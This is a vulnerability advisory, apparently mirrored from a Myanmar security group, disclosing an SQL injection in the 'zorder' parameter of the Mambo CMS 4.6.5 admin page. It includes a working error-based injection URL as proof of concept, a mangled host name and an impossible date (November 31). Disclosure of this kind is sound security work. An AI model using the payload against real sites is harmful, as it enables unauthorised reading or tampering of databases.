========================================= Mambo CMS 4.6.x (4.6.5) | SQL Injection =========================================
1.概述
Mambo CMS 4.6.5及更低版本含注射缺陷
2. 背景
Mambo is a full-featured, award-winning content management system that can be used for everything from simple websites to complex corporate applications. It is used all over the world to power government portals, corporate intranets and extranets, ecommerce sites, nonprofit outreach, schools, church, and community sites. Mambo's "power in simplicity" also makes it the CMS of choice for many small businesses and personal sites.
3. 缺陷描述
The "zorder" parameter was not properly sanitized upon submission to the administrator/index2.php url, which allows attacker to conduct SQL Injection attack. This could an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.
4. 影响版本
Mambo CMS 4.6.5已测试
5. PROOF-OF-CONCEPT/EXPLOIT
http://HdhCmsTest2cto测试数据 /mambo/administrator/index2.php?limit=10&order[]=11&boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&cid[]=on&zorder=-1 OR (SELECT 9999 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,112,101,58),(SELECT (CASE WHEN (9999=9999) THEN 1 ELSE 0 END)),CHAR(58,110,100,107,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&filter_authorid=62&hidemainmenu=0&option=com_typedcontent
6. SOLUTION
The vendor seems to discontinue the development. It is recommended to use another CMS in active development.
7. VENDOR
Mambo CMS Development Team http://mambo-developer.org
8. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net , YGN Ethical Hacker Group, Myanmar.
9. DISCLOSURE TIME-LINE
2010-11-31: notified vendor through bug tracker 2011-08-12: no patched version released up to date 2011-08-12: vulnerability disclosed
10. REFERENCES
Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[mambo4.6_x]_sql_injection Mambo CMS: http://mambo-code.org/gf/download/frsrelease/388/791/MamboV4.6.5.zip
#yehg [2011-08-12]
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